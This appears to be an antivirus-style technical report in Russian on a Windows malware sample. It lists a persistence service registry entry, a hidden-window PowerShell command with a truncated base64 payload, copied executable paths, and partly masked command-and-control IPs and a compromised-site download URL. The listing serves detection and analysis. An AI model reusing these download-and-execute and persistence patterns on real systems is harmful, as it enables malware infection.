Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\wsmplpxy] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\wsmplpxy] 'ImagePath' = '"%WINDIR%\SysWOW64\netmsg\wsmplpxy.exe"'
- 'wsmplpxy' "%WINDIR%\SysWOW64\netmsg\wsmplpxy.exe"
- 'wsmplpxy' %WINDIR%\SysWOW64\netmsg\wsmplpxy.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABvAEQAYwAwAG4AaQA9ACAAWwBUAHkAcABFAF0AKAAiAHsAMQB9AHsANAB9AHsAMgB9AHsAMwB9AHsAMAB9ACIALQBmACcAdABvAHIAeQAnACwAJwBTACcALAAnAE8ALgBEAGkAcgAnACwAJwBFAGMAJwAsACcAWQBTAFQARQ...
- %HOMEPATH%\aub_1bg\gtm_8eb\ny8kv9.exe
- %WINDIR%\syswow64\netmsg\wsmplpxy.exe
- %HOMEPATH%\aub_1bg\gtm_8eb\ny8kv9.exe в %WINDIR%\syswow64\netmsg\wsmplpxy.exe
- '17#.#8.199.157':80
- '59.##8.253.194':8080
- http://sa#####rcesupports.com/wp-admin/UK4/
- http://59.###.253.194:8080/YQqaKP/ via 59.##8.253.194
- DNS ASK sa#####rcesupports.com
- '%HOMEPATH%\aub_1bg\gtm_8eb\ny8kv9.exe'
- '%WINDIR%\syswow64\netmsg\wsmplpxy.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABvAEQAYwAwAG4AaQA9ACAAWwBUAHkAcABFAF0AKAAiAHsAMQB9AHsANAB9AHsAMgB9AHsAMwB9AHsAMAB9ACIALQBmACcAdABvAHIAeQAnACwAJwBTACcALAAnAE8ALgBEAGkAcgAnACwAJwBFAGMAJwAsACcAWQBTAFQARQ...' (со скрытым окном)